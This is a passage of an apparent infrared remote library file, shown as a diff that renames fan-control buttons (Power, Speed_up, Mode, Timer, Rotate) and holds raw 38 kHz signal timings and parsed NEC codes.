1274 1306 416 1307 422 434 1274 428 1280 433 1276 426 1281 1309 421 435 1273 429 7901 1313 407 1306 414 432 1270 1310 412 1311 418 428 1280 433 1276 426 1282 431 1276 1314 416 430 1278 435 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1310 411 1312 407 428 1300 1279 417 1306 419 1304 423 433 1302 410 1302 400 1282 1307 421 1302 425 431 7882 1312 409 1304 414 432 1296 1283 413 1310 415 1308 445 401 1308 404 1280 432 1276 1314 414 1309 418 428 7849 1314 406 1306 412 434 1293 1286 410 1302 422 1311 416 430 1304 409 1276 437 1272 1307 420 1303 423 433 7876 1307 413 1309 408 427 1300 1279 416 1307 418 1305 421 435 1299 403 1281 431 1277 1313 415 1308 418 428 7844 1308 411 1302 416 430 1297 1282 413 1310 415 1308 418 428 1305 407 1303 409 1271 1308 419 1304 422 434 7869 1304 416 1307 411 424 1302 1277 418 1305 419 1304 422 434 1299 403 1306 407 1275 1304 422 1301 425 431 7837 1305 414 1309 408 427 1299 1280 414 1309 415 1307 418 428 1305 408 1301 401 1280 1309 416 1307 419 427 7874 1309 410 1303 414 432 1294 1285 409 1303 446 1277 423 433 1299 403 1305 407 1273 1306 420 1303 423 433 7830 1312 407 1305 412 434 1292 1277 417 1306 418 1305 421 425 1307 406 1303 409 1271 1308 417 1305 420 426 7871 1312 407 1306 411 424 1275 1304 416 1307 417 1306 419 427 1280 432 1275 427 1279 1311 415 1308 417 429 7833 1309 410 1303 414 432 1268 1311 408 1305 419 1304 421 425 1282 430 1277 436 1296 1283 416 1307 419 427 7868 1305 414 1309 408 427 1272 1307 412 1310 413 1310 416 430 1277 425 1282 430 1301 1278 421 1302 424 432 7829 1303 415 1308 409 426 1274 1305 414 1308 415 1308 418 428 1279 433 1274 428 1278 1311 413 1310 416 430 7866 1307 411 1301 415 431 1270 1309 410 1303 421 1302 423 433 1275 427 1279 433 1273 1306 419 1304 422 434 7826 1306 413 1310 407 428 1272 1307 412 1311 413 1310 416 430 1277 425 1282 430 1275 1304 421 1302 424 432 7844 1308 410 1302 415 430 1269 1310 410 1302 421 1302 424 432 1274 428 1279 433 1299 1280 419 1304 422 434 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1306 440 1282 436 410 1269 1310 437 1286 442 404 1283 429 1282 430 1282 430 1283 429 1281 1308 419 427 7925 1309 436 1286 406 429 1275 1304 417 1306 447 409 1277 435 1276 436 1276 426 1286 426 1284 1305 448 408 7898 1305 440 1283 435 411 1268 1311 435 1277 450 406 1279 433 1278 434 1277 435 1276 436 1273 1306 448 408 7914 1309 435 1277 440 406 1272 1307 440 1283 444 402 1283 429 1282 430 1281 431 1280 432 1277 1312 442 404 7898 1305 440 1283 436 410 1267 1312 435 1288 440 406 1278 434 1277 435 1276 436 1274 428 1282 1307 446 410 7910 1313 431 1281 437 409 1268 1311 436 1287 440 406 1278 434 1277 435 1275 427 1284 428 1281 1308 445 401 7899 1304 441 1282 436 410 1267 1312 435 1288 439 407 1278 434 1276 436 1275 427 1283 429 1280 1309 444 401 7914 1309 436 1287 431 404 1272 1307 439 1283 443 403 1281 431 1279 433 1277 435 1275 427 1281 1308 445 401 7898 1305 439 1284 434 401 1275 1304 442 1280 446 410 1273 429 1281 431 1279 433 1278 434 1273 1306 448 408 7905 1308 437 1286 432 403 1273 1306 440 1283 444 402 1281 431 1279 433 1276 436 1274 428 1280 1309 444 401 7894 1309 435 1288 430 405 1271 1308 438 1285 442 404 1278 434 1275 437 1273 429 1280 432 1276 1313 440 406 7905 1308 437 1286 431 404 1272 1307 439 1284 442 403 1279 433 1276 436 1273 429 1280 432 1275 1314 439 407 7885 1307 437 1286 431 404 1271 1308 438 1285 442 404 1278 434 1274 428 1282 430 1279 433 1274 1305 448 408 7901 1312 432 1280 436 410 1266 1313 432 1280 446 410 1272 430 1278 434 1275 427 1282 430 1276 1314 440 406 7906 1307 436 1286 431 404 1270 1309 437 1286 440 406 1276 436 1273 429 1279 433 1276 426 1280 1309 444 402 7882 1311 434 1278 438 408 1267 1312 434 1278 447 409 1273 429 1279 433 1275 427 1281 431 1276 1313 439 407 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1316 405 1307 412 434 1270 1309 413 1310 416 1307 421 435 1276 436 1276 436 1275 427 1283 1307 421 1312 7037 1310 411 1312 407 428 1274 1305 418 1305 420 1303 425 431 1278 434 1277 435 1276 436 1274 1305 423 1310 7006 1310 411 1312 406 429 1274 1305 416 1306 419 1304 423 433 1303 409 1275 427 1284 428 1281 1308 420 1303 7043 1314 407 1305 412 434 1295 1284 412 1310 414 1309 419 427 1308 404 1280 432 1279 433 1275 1314 413 1310 7003 1313 407 1305 413 433 1294 1285 411 1301 424 1309 418 428 1306 406 1304 408 1276 436 1273 1306 421 1302 7041 1306 414 1309 410 425 1301 1278 418 1305 420 1303 424 432 1302 400 1310 402 1282 430 1277 1312 415 1307 7003 1313 407 1305 413 433 1294 1285 410 1302 423 1310 416 430 1304 408 1302 400 1284 428 1279 1310 417 1306 7033 1314 406 1307 412 434 1292 1287 408 1304 420 1303 424 432 1301 401 1308 404 1279 433 1274 1305 422 1311 6995 1311 410 1302 415 431 1295 1284 411 1301 423 1310 416 430 1303 409 1299 403 1280 432 1275 1304 422 1301 7034 1313 406 1307 411 424 1301 1278 417 1305 419 1303 423 433 1299 403 1305 407 1275 427 1281 1308 418 1304 6997 1309 411 1301 416 430 1295 1284 411 1301 422 1301 425 431 1301 401 1307 405 1277 435 1271 1308 418 1305 7028 1308 411 1301 415 431 1294 1285 410 1302 422 1301 425 431 1300 402 1306 406 1276 426 1280 1309 416 1307 6993 1312 407 1305 412 434 1291 1278 416 1307 417 1306 420 426 1306 406 1301 401 1281 431 1275 1304 422 1301 7029 1308 411 1301 415 431 1268 1311 409 1303 420 1303 423 433 1273 429 1278 434 1274 428 1277 1312 414 1309 6989 1306 412 1310 406 429 1270 1309 411 1301 422 1301 424 432 1274 428 1279 433 1275 427 1278 1311 414 1309 7019 1307 411 1301 415 431 1268 1311 408 1304 419 1304 421 435 1271 431 1276 426 1282 430 1275 1304 421 1302 6994 1312 406 1306 410 425 1274 1305 414 1309 414 1339 386 429 1277 425 1281 431 1276 426 1305 1284 414 1309 7018 1308 409 1303 413 433 1267 1302 417 1337 386 1337 388 458 1248 433 1273 429 1278 434 1271 1308 416 1338 6956 1308 410 1333 382 464 1236 1333 386 1337 386 1337 388 458 1248 454 1252 429 1277 435 1270 1340 384 1338 6949 1336 382 1330 386 460 1239 1330 388 1335 388 1335 391 455 1250 462 1244 458 1249 463 1241 1338 386 1336 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1289 402 1282 405 442 1268 1263 400 1284 403 433 1276 418 1242 442 1245 439 1248 446 1240 444 1243 1288 7090 1288 402 1282 405 442 1268 1263 400 1284 402 434 1276 418 1241 443 1244 440 1247 447 1240 444 1243 1288 7090 1288 402 1282 405 442 1269 1262 400 1284 402 445 1267 417 1243 441 1246 438 1249 445 1242 442 1245 1286 7092 1286 403 1291 395 441 1244 1287 402 1282 404 443 1242 442 1245 439 1249 445 1242 442 1245 439 1248 1293 7086 1292 398 1286 401 435 1248 1283 407 1287 399 437 1247 437 1250 444 1243 441 1246 438 1249 445 1242 1289 7090 1288 402 1282 405 442 1269 1262 401 1283 403 444 1268 416 1244 440 1247 437 1250 444 1243 441 1247 1284 7096 1293 397 1287 401 435 1275 1256 407 1287 400 436 1274 410 1250 444 1243 441 1247 437 1250 444 1243 1288 7092 1286 404 1280 408 439 1272 1259 403 1281 406 441 1270 414 1246 438 1250 444 1243 441 1246 438 1250 1291 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1291 399 1285 404 443 1243 1288 401 1283 404 443 1243 441 1245 439 1249 1282 407 440 1246 438 1249 445 7935 1291 401 1283 404 443 1268 1263 400 1284 403 444 1268 416 1245 439 1248 1283 408 439 1272 412 1249 445 7935 1291 400 1284 403 444 1268 1263 400 1284 403 433 1277 417 1244 440 1274 1257 407 440 1272 412 1248 446 7935 1290 401 1283 404 443 1242 1289 400 1284 404 443 1242 442 1245 439 1275 1256 407 440 1246 438 1249 445 7936 1290 400 1284 404 443 1243 1288 400 1284 404 443 1243 441 1245 439 1248 1283 407 440 1246 438 1249 445 7935 1290 401 1283 404 443 1268 1263 401 1283 404 443 1268 416 1245 439 1248 1283 408 439 1273 411 1250 444 7937 1288 403 1281 406 441 1271 1260 403 1281 406 441 1270 414 1247 447 1241 1290 400 436 1275 419 1241 443 7940 1286 405 1289 398 438 1273 1258 404 1280 408 439 1272 412 1249 445 1242 1289 402 435 1276 418 1242 442 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1293 395 1289 398 438 1248 1293 395 1289 398 438 1248 446 1241 443 1245 439 1249 1292 396 440 1245 439 7942 1294 395 1289 398 438 1247 1284 404 1290 397 439 1246 438 1250 444 1243 440 1247 1284 405 442 1244 440 7940 1285 404 1290 396 440 1246 1285 403 1291 396 440 1245 438 1249 445 1242 442 1245 1286 403 444 1242 442 7939 1286 402 1292 395 441 1245 1286 402 1292 394 442 1244 440 1248 446 1241 443 1245 1286 402 445 1242 442 7941 1284 404 1290 397 439 1248 1293 395 1289 398 438 1248 446 1242 442 1246 438 1250 1291 396 440 1247 447 7934 1291 398 1286 401 446 1241 1290 399 1285 402 445 1242 442 1246 438 1250 444 1244 1287 401 446 1241 443 7940 1285 403 1291 396 440 1247 1284 404 1290 397 439 1247 437 1251 443 1245 439 1249 1292 396 440 1246 438 7945 1291 398 1286 401 446 1240 1291 398 1286 401 446 1240 444 1244 439 1248 446 1242 1289 399 437 1249 445 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 46 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 00 00 00 00 command: 44 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 00 00 00 00 command: 43 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 00 00 00 00 command: 16 00 00 00 # -name: MODE +name: Mode type: parsed protocol: NEC address: 00 00 00 00 command: 0D 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1308 408 1311 402 442 1250 1314 412 1307 405 449 1242 446 1250 449 1246 453 1243 445 1250 449 1248 1316 7148 1306 411 1308 405 449 1242 1311 415 1304 408 446 1246 453 1244 444 1251 448 1247 451 1244 444 1252 1312 7154 1309 406 1303 410 444 1247 1306 420 1309 404 450 1241 447 1249 450 1247 451 1244 444 1252 447 1249 1315 7150 1314 403 1306 407 447 1245 1308 417 1302 412 442 1250 449 1248 450 1246 442 1254 444 1251 448 1249 1304 7160 1314 429 1280 433 421 1248 1305 445 1284 429 415 1252 447 1250 449 1247 441 1254 445 1252 447 1250 1303 7164 1310 404 1305 410 444 1251 1302 420 1309 404 440 1257 441 1255 443 1252 447 1250 449 1248 440 1256 1307 7159 1304 409 1310 403 441 1254 1309 413 1306 407 447 1248 440 1255 443 1252 446 1249 450 1246 442 1253 1362 7102 1310 404 1305 409 445 1251 1302 420 1310 403 441 1254 444 1251 447 1248 440 1255 443 1253 446 1250 1303 7163 1311 403 1306 408 446 1249 1304 418 1301 412 442 1253 446 1250 449 1248 440 1256 442 1254 445 1251 1302 7162 1302 413 1306 407 447 1248 1305 417 1302 412 442 1254 445 1251 448 1248 440 1256 442 1253 446 1249 1304 7155 1308 405 1304 409 445 1251 1302 420 1309 404 440 1255 443 1253 445 1250 448 1248 440 1255 495 1202 1310 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1317 406 1313 409 445 1250 1324 410 1319 403 451 1243 445 1252 447 1250 500 1196 1316 408 446 1248 451 7997 1311 408 1311 407 447 1245 1319 411 1308 408 446 1248 450 1247 452 1246 453 1244 1309 411 443 1251 448 8000 1308 411 1308 408 446 1247 1317 412 1307 410 444 1248 451 1246 442 1253 446 1251 1313 407 447 1246 452 7995 1313 406 1313 404 450 1244 1320 410 1309 409 445 1248 451 1245 454 1243 445 1251 1313 434 420 1245 453 7992 1317 430 1279 437 417 1251 1313 442 1277 439 415 1252 447 1250 449 1248 451 1247 1317 411 454 1241 447 8003 1315 402 1307 407 447 1244 1309 417 1302 411 443 1249 450 1246 442 1253 446 1251 1313 406 448 1272 416 8004 1315 404 1305 410 444 1277 1286 413 1306 408 446 1274 425 1272 416 1253 446 1278 1286 408 446 1274 425 7994 1314 406 1313 406 448 1273 1291 415 1314 406 448 1274 425 1273 415 1253 446 1252 1312 411 443 1278 421 7997 1312 410 1309 409 445 1275 1289 413 1306 412 442 1279 420 1277 422 1275 424 1273 1280 414 440 1253 446 7999 1309 411 1308 409 445 1250 1303 422 1308 409 445 1250 449 1247 441 1255 444 1252 1312 407 447 1248 440 8004 1315 404 1305 412 442 1253 1311 414 1305 410 444 1250 449 1246 442 1253 446 1250 1314 404 440 1257 442 8001 1307 411 1308 408 446 1248 1305 421 1308 407 447 1247 441 1254 445 1252 447 1250 1314 404 440 1257 442 8005 1314 404 1305 413 441 1254 1310 416 1303 413 441 1254 445 1251 448 1248 440 1257 1307 410 444 1252 447 7998 1310 407 1312 405 439 1255 1309 416 1303 411 443 1251 448 1248 440 1254 445 1250 1303 411 443 1251 448 7994 1304 414 1305 411 443 1251 1302 422 1308 408 446 1248 440 1254 445 1251 448 1248 1305 411 443 1253 446 7997 1312 406 1303 413 441 1253 1311 413 1306 408 446 1248 440 1255 444 1253 446 1251 1313 404 440 1256 443 8002 1307 411 1308 408 446 1248 1305 419 1300 414 440 1254 445 1250 449 1247 441 1255 1309 409 445 1249 450 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1313 405 1314 405 449 1250 1313 420 1320 406 448 1252 447 1253 446 1254 445 1255 443 1255 1319 404 450 8002 1316 406 1313 409 445 1253 1311 422 1318 407 499 1202 445 1253 446 1253 445 1254 445 1254 1320 404 450 7999 1309 408 1311 406 448 1248 1305 421 1308 411 443 1253 446 1251 447 1249 449 1248 440 1257 1306 409 445 8000 1308 408 1311 405 449 1247 1306 418 1311 405 449 1248 440 1256 443 1253 446 1251 448 1250 1313 404 450 7996 1312 436 1283 407 447 1250 1313 414 1315 405 449 1250 448 1249 449 1248 450 1246 442 1255 1319 402 452 7991 1307 439 1280 412 442 1255 1308 420 1309 411 443 1255 444 1254 445 1253 446 1253 446 1253 1321 406 448 7998 1320 406 1323 403 451 1249 1314 421 1319 408 446 1254 444 1255 443 1255 443 1256 442 1256 1318 408 446 8004 1314 412 1317 409 445 1255 1318 417 1323 404 450 1250 448 1251 447 1252 447 1253 445 1255 1319 407 447 8003 1315 410 1319 407 447 1252 1322 414 1315 410 444 1256 453 1247 451 1248 450 1247 441 1256 1307 438 416 8002 1316 431 1288 429 415 1252 1311 444 1285 431 423 1241 447 1249 449 1247 451 1248 450 1246 1317 402 442 8002 1316 403 1306 411 443 1251 1312 416 1313 404 450 1244 444 1252 447 1251 447 1249 449 1247 1316 402 442 8002 1316 403 1306 410 444 1250 1313 414 1305 410 444 1249 450 1246 452 1244 444 1253 446 1252 1311 407 447 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1292 433 1265 432 406 1261 1286 438 1260 436 413 1255 443 1253 444 1252 435 1260 438 1259 439 1257 1290 7192 1288 436 1262 434 415 1279 1257 440 1258 438 411 1284 414 1256 442 1254 444 1253 445 1252 435 1261 1286 7196 1284 440 1258 438 411 1257 1290 434 1264 432 417 1252 435 1260 438 1259 439 1257 441 1255 443 1253 1283 7198 1292 431 1256 440 409 1259 1288 436 1262 434 415 1253 434 1261 437 1259 439 1257 441 1255 443 1253 1283 7198 1292 431 1256 439 410 1258 1289 435 1263 433 416 1252 435 1261 437 1258 440 1256 442 1254 444 1252 1284 7198 1292 405 1282 440 409 1258 1289 435 1263 433 416 1252 435 1260 438 1258 440 1256 442 1254 444 1252 1284 7196 1284 440 1258 438 411 1257 1290 433 1265 431 407 1260 438 1284 414 1256 442 1254 444 1252 435 1260 1287 7195 1285 438 1260 436 413 1255 1292 405 1282 440 409 1259 439 1257 441 1255 443 1254 444 1252 435 1260 1287 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1287 410 1288 435 414 1281 1255 414 1284 439 410 1259 439 1283 415 1254 444 1252 435 1261 1286 437 412 8042 1287 410 1288 434 415 1255 1281 440 1258 438 411 1258 440 1255 443 1253 434 1261 437 1259 1288 408 441 8039 1290 406 1292 431 407 1262 1285 411 1287 435 414 1256 442 1253 445 1251 436 1260 438 1258 1289 434 415 8039 1290 406 1281 441 408 1287 1260 409 1289 434 415 1254 433 1261 437 1259 439 1283 415 1255 1292 405 433 8046 1283 413 1285 438 411 1285 1262 434 1264 431 407 1288 410 1259 439 1257 441 441 1253 1283 413 436 8044 1285 412 1286 436 413 1257 1290 405 1282 440 409 1287 411 1284 414 1281 417 1253 434 1261 1286 437 412 8042 1287 436 1262 434 415 1281 1256 440 1258 411 438 1258 440 1255 443 1253 434 1261 437 1258 1289 434 415 8039 1290 406 1281 440 409 1287 1260 409 1289 433 416 1253 434 1261 437 1259 439 1256 442 1254 1293 404 434 8046 1283 413 1285 411 438 1257 1290 406 1281 414 435 1287 411 1257 441 1255 443 1253 434 1261 1286 438 411 8042 1287 409 1289 433 416 1280 1257 439 1259 436 413 1256 442 1253 445 1251 436 1286 412 1283 1264 433 416 8037 1292 404 1283 412 437 1285 1262 408 1290 432 417 1278 409 1259 439 1257 441 1255 443 1253 1283 439 410 8043 1285 437 1261 435 414 1281 1255 440 1258 438 411 1283 415 1254 444 1252 435 1260 438 1258 1289 434 414 8038 1291 432 1255 440 409 1286 1261 435 1263 433 416 1251 436 1259 439 1257 441 1255 443 1253 1283 440 409 8044 1284 411 1287 436 413 1254 1293 431 1256 439 410 1257 441 1281 417 1253 434 1261 437 1259 1288 435 413 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1288 437 1260 435 414 1254 1292 431 1256 440 409 1259 438 1258 1288 435 413 1255 442 1253 444 1252 435 8046 1292 431 1256 440 409 1259 1288 436 1261 434 414 1254 443 1253 1283 440 409 1259 438 1258 439 1256 441 8040 1287 436 1261 434 414 1254 1292 431 1256 439 409 1258 491 1204 1291 433 415 1253 434 1261 436 1260 438 8044 1284 440 1257 438 410 1257 1290 434 1263 432 417 1251 436 1259 1287 436 412 1255 442 1254 443 1252 435 8045 1293 431 1256 439 410 1258 1289 435 1262 433 416 1253 434 1261 1285 439 410 1258 440 1256 442 1255 442 8038 1290 433 1264 431 407 1260 1287 437 1261 435 413 1254 443 1253 1283 440 408 1259 439 1257 440 1255 442 8038 1289 434 1263 432 417 1251 1285 438 1260 436 413 1255 442 1253 1283 441 408 1260 438 1258 440 1256 442 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1289 408 1289 434 414 1245 1291 433 1264 432 416 1270 417 1243 444 1243 444 1243 444 1244 443 1244 1292 7134 1291 405 1292 431 417 1242 1294 429 1268 427 411 1248 439 1248 439 1274 413 1247 440 1247 440 1247 1289 8241 1295 400 1287 436 412 1247 1289 434 1263 432 416 1242 445 1242 445 1242 445 1241 446 1241 435 1251 1295 7130 1295 400 1287 436 412 1246 1290 406 1291 431 417 1268 419 1241 446 1241 435 1251 436 1277 410 1250 1286 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1369 328 1296 427 411 1275 1261 436 1261 434 414 1245 442 1245 442 1244 443 1244 443 1244 1291 431 417 7972 1291 404 1293 429 409 1251 1295 400 1287 436 412 1273 414 1246 441 1245 442 1245 442 1245 1290 405 443 9076 1287 408 1289 433 415 1271 1264 430 1267 428 410 1276 411 1249 438 1248 439 1248 439 1274 1261 434 414 7974 1289 406 1291 431 417 1242 1294 428 1259 436 412 1273 414 1273 414 1245 442 1245 442 1244 1292 430 418 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 FC 00 00 command: 80 7F 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NECext address: 00 FC 00 00 command: 85 7A 00 00 # -name: MODE +name: Mode type: parsed protocol: NECext address: 00 FC 00 00 command: 81 7E 00 00 # -name: TIMER +name: Timer type: parsed protocol: NECext address: 00 FC 00 00 command: 86 79 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1299 409 1271 412 433 1211 1293 416 1274 409 436 1207 462 1207 462 1208 461 1208 461 1209 460 1209 1296 7131 1300 410 1270 386 459 1210 1294 389 1301 382 463 1206 464 1206 463 1207 463 1208 462 1208 461 1209 1295 8208 1302 382 1298 385 460 1208 1297 387 1293 390 455 1213 456 1214 466 1205 465 1205 464 1206 463 1206 1298 7129 1302 382 1298 385 460 1208 1297 387 1293 390 455 1213 457 1213 467 1204 465 1205 464 1205 464 1206 1298 8207 1293 391 1299 383 452 1218 1297 386 1294 388 457 1213 456 1214 455 1215 454 1216 454 1216 453 1217 1298 7130 1290 415 1275 406 429 1219 1296 409 1271 411 434 1212 457 1213 456 1213 456 1214 455 1188 481 1215 1299 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1296 386 1294 414 431 1212 1292 416 1274 409 436 1206 463 1207 462 1207 463 1207 463 1208 1297 411 434 7953 1292 417 1273 408 437 1206 1298 411 1269 413 432 1210 459 1210 459 1211 458 1211 458 1211 1293 415 430 9123 1293 389 1301 407 438 1205 1299 410 1269 412 433 1209 460 1210 459 1210 459 1210 459 1210 1294 388 457 7957 1298 410 1270 413 432 1211 1293 389 1301 408 437 1205 464 1206 463 1206 463 1207 463 1207 1297 385 460 9120 1296 387 1293 416 429 1214 1301 381 1299 410 435 1208 461 1209 460 1209 460 1210 459 1210 1294 414 431 7958 1297 385 1295 414 431 1212 1303 380 1300 409 436 1207 462 1207 463 1207 462 1209 460 1208 1296 386 459 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 1295 410 1270 411 434 1210 1294 412 1268 414 431 1238 431 1212 1302 405 429 1214 455 1266 1249 406 428 7959 1296 410 1270 412 433 1210 1294 413 1267 414 431 1213 456 1213 1301 405 429 1214 455 1266 1249 406 428 9065 1299 406 1274 408 437 1207 1297 409 1271 411 434 1236 433 1210 1294 412 433 1211 458 1264 1240 414 431 7958 1297 409 1271 411 434 1209 1295 412 1268 414 431 1238 431 1212 1302 405 429 1214 455 1267 1248 407 427 9067 1298 383 1297 410 435 1209 1295 412 1268 414 431 1238 431 1212 1292 415 430 1214 455 1266 1249 407 427 7962 1293 414 1276 406 428 1215 1300 408 1272 410 435 1235 434 1209 1295 411 434 1210 459 1262 1242 413 432 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1300 381 1299 410 435 1208 1296 413 1267 415 430 1213 456 1213 456 1214 455 1214 1301 408 437 1207 462 7950 1295 413 1267 416 429 1214 1301 381 1299 410 435 1208 461 1208 461 1208 461 1208 1296 386 459 1211 458 9008 1296 387 1293 415 430 1213 1301 407 1273 410 435 1208 461 1208 461 1208 461 1208 1296 386 459 1210 459 7952 1293 416 1274 408 437 1206 1298 384 1296 413 432 1211 458 1211 458 1211 458 1211 1304 405 429 1214 455 9013 1301 407 1273 410 435 1259 1245 412 1268 415 430 1264 405 1213 456 1213 456 1213 1301 407 438 1256 403 7958 1297 410 1270 413 432 1262 1253 405 1275 407 427 1267 402 1216 453 1216 453 1216 1298 409 436 1259 410 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1294 412 1268 415 430 1265 1250 408 1272 411 434 1260 409 1210 1294 413 432 1264 405 1213 456 1215 454 7959 1296 411 1269 415 430 1265 1250 408 1271 410 435 1260 409 1234 1270 413 432 1264 405 1238 431 1214 455 9016 1298 410 1270 414 431 1264 1251 407 1273 409 436 1260 409 1260 1244 413 432 1263 406 1237 433 1213 456 7959 1296 412 1268 415 430 1265 1250 407 1273 410 435 1260 409 1234 1270 414 431 1264 405 1214 455 1215 454 9017 1297 411 1269 414 431 1264 1251 407 1273 410 435 1260 409 1209 1295 387 458 1237 432 1213 456 1214 456 7959 1296 413 1267 416 429 1239 1276 409 1271 412 433 1235 434 1211 1304 379 455 1239 430 1215 454 1216 453 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1294 388 1291 390 455 1215 1289 392 1298 384 451 1220 460 1210 459 1210 1294 388 457 1212 457 1212 457 7954 1301 382 1298 384 461 1207 1297 387 1293 389 456 1212 457 1212 457 1213 1291 392 463 1205 465 1205 464 9263 1295 414 1266 417 428 1214 1301 409 1271 412 433 1209 460 1209 460 1210 1294 415 430 1213 456 1213 456 7959 1296 413 1267 415 430 1213 1302 408 1271 411 434 1208 461 1209 460 1209 1295 414 431 1212 457 1213 456 9272 1297 412 1268 415 430 1212 1292 417 1273 410 435 1207 462 1208 461 1208 1296 413 432 1211 458 1211 458 7956 1299 410 1270 413 432 1210 1294 390 1300 409 436 1206 463 1207 463 1207 1298 387 458 1210 459 1211 458 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1251 410 1245 415 407 1252 1246 415 1250 410 412 1247 408 1252 413 1247 408 1252 413 1247 408 1252 1246 7350 1248 438 1227 433 389 1245 1253 434 1221 439 383 1250 415 1245 410 1250 405 1255 410 1249 406 1255 1253 7340 1247 439 1226 407 415 1245 1253 433 1222 412 410 1250 405 1255 410 1249 406 1254 411 1249 406 1254 1254 7340 1247 412 1253 407 415 1245 1253 407 1248 412 410 1250 405 1255 410 1249 406 1254 411 1248 407 1253 1245 7349 1249 411 1254 406 405 1254 1254 406 1249 411 411 1248 407 1252 413 1246 409 1251 414 1245 410 1250 1248 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1250 409 1246 441 381 1252 1246 414 1252 435 387 1246 409 1250 405 1255 1243 417 405 1281 384 1275 380 8188 1244 416 1249 437 385 1249 1249 437 1218 443 379 1253 412 1248 407 1253 1245 415 407 1252 413 1246 409 8186 1246 414 1251 435 387 1272 1226 408 1247 439 383 1276 379 1281 384 1249 1249 437 385 1248 407 1253 412 8181 1251 409 1246 440 382 1277 1221 439 1226 434 378 1255 410 1249 406 1254 1244 416 406 1253 412 1247 408 8187 1245 441 1225 435 387 1273 1225 435 1220 440 382 1251 414 1245 410 1250 1248 412 410 1249 406 1254 411 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1243 444 1221 438 384 1276 1222 438 1217 443 379 1254 411 1274 381 1252 413 1246 409 1251 1247 413 409 8185 1247 440 1225 435 387 1246 1252 408 1247 440 382 1277 388 1245 410 1276 379 1280 385 1249 1249 411 411 8184 1248 412 1243 444 378 1282 1216 444 1221 439 383 1250 405 1254 411 1248 407 1253 412 1248 1250 410 412 8182 1250 410 1245 442 380 1253 1245 415 1250 437 385 1247 408 1252 413 1272 383 1251 414 1272 1226 408 414 8180 1252 409 1246 440 382 1252 1246 440 1225 435 387 1272 383 1250 405 1254 411 1249 406 1254 1244 416 406 8188 1244 416 1249 437 385 1249 1249 411 1244 443 379 1253 412 1273 382 1278 387 1246 409 1251 1247 413 409 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1305 379 1283 402 434 1251 431 1253 1276 408 1275 411 435 1249 1280 404 432 1253 1276 408 438 1247 1282 7144 1281 404 1279 407 439 1247 435 1250 1310 375 1307 379 467 1218 1311 374 431 1254 1306 379 436 1249 1311 7119 1305 380 1302 382 464 1222 460 1224 1305 380 1302 382 464 1221 1308 377 469 1217 1302 383 463 1222 1307 7121 1303 380 1303 382 464 1221 462 1223 1306 378 1305 381 465 1220 1309 375 430 1254 1306 380 435 1250 1279 7148 1276 408 1274 411 435 1250 432 1252 1277 408 1274 410 436 1249 1280 404 432 1253 1276 408 438 1247 1282 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1282 402 1281 404 432 1252 430 1254 1275 408 1275 410 436 1248 435 1249 434 1251 1278 405 431 1254 439 7984 1277 407 1276 408 438 1246 436 1248 1281 402 1281 403 433 1251 432 1253 430 1254 1275 408 438 1246 437 7985 1276 407 1276 408 438 1246 436 1248 1281 402 1281 403 433 1252 431 1253 440 1245 1274 409 437 1248 435 7990 1333 351 1332 352 433 1252 431 1254 1326 358 1335 349 436 1249 434 1250 433 1252 1328 355 440 1244 438 7984 1328 355 1328 356 439 1245 438 1247 1333 350 1333 351 434 1250 433 1252 431 1253 1327 357 438 1246 437 7988 1273 410 1273 411 435 1249 434 1250 1279 405 1278 406 440 1244 439 1246 436 1247 1282 402 434 1251 432 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1282 403 1279 405 431 1254 439 1246 1273 412 434 1251 432 1254 1275 410 436 1249 433 1251 431 1254 1275 7152 1283 402 1281 405 431 1254 439 1246 1273 412 434 1251 432 1254 1305 379 436 1249 433 1252 430 1254 1306 7122 1302 382 1311 374 462 1223 459 1226 1303 381 465 1221 461 1223 1306 379 467 1218 464 1221 461 1224 1305 7123 1312 373 1310 375 461 1224 469 1216 1303 381 465 1221 461 1223 1306 379 467 1218 464 1221 461 1224 1305 7123 1312 374 1308 376 460 1225 468 1218 1311 374 462 1223 459 1226 1303 382 464 1222 460 1224 469 1217 1302 7128 1306 379 1303 382 464 1221 461 1224 1305 380 466 1219 463 1221 1277 408 469 1217 465 1219 463 1222 1307 7122 1282 403 1279 405 462 1223 459 1226 1283 402 